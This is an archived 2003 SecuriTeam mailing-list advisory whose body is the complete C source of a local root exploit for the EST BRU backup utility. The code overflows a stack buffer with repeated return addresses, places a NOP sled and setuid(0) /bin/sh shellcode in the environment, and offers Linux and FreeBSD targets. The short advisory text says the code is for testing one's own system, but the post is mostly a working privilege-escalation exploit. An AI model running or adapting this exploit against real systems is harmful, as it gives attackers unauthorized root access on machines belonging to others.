[EXPL] EST BRU Backup and Restore Utility Local Root Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 07/20/03
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To: list@securiteam.com Date: 20 Jul 2003 19:46:33 +0200
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EST BRU Backup and Restore Utility Local Root Exploit
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5XP0H20AKU.html> BRU Buffer Overflow
and Format String Vulnerabilities, a vulnerability in BRU allows local
attackers to gain elevated privileges by either causing the product to
overflow an internal buffer, or by sending it a buffer that contains a
format string directive.
The following exploit code can be used to test your system for the
mentioned vulnerability.
DETAILS
Exploit:
/** EST BRU(TM) Backup and Restore Utility Local Root Exploit
**
** By: Dvdman@l33tsecurity.com
**
** Simple Stack overflow Wont say any more :P
**
** Linux & FreeBsd Targets
**
** Greetz:
sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
**
** Public Release
** L33tsecurity 2003; irc.secsup.org #l33tsecurity
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/errno.h>
#define FUN "./bru"
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* SETUID(0) SHELLCODE LINUX */
"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
"\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
unsigned long sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv) {
char buffer[9000];
int x,target;
char *env[2];
char *args[24];
unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN);
int *ptr = (int *)(buffer);
if (argc != 2) {
usage();
exit(0);
}
target = atoi(argv[1]);
if (target == 0) {
for (x=0; x<9000 ; x+=4)
*ptr++ = (ret + 1);
}
if (target == 1) {
for (x=0; x<3500 ; x+=4)
*ptr++ = 0xbfbffe48;
}
/* put in env */
env[0] = shellcode;
env[1] = NULL;
args[0] = FUN;
args[1] = buffer;
args[2] = NULL;
execve (args[0], args, env);
perror ("execve");
}
int usage() {
printf("EST BRU(TM)local root exploit\n");
printf("By: Dvdman@l33tsecurity.com\n");
printf("Usage: ./ex_bru target\n");
printf("TARGET LIST:\n");
printf("0. LINUX\n1. FREEBSD\n");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:Dvdman@l33tsecurity.com>
Dvdman.
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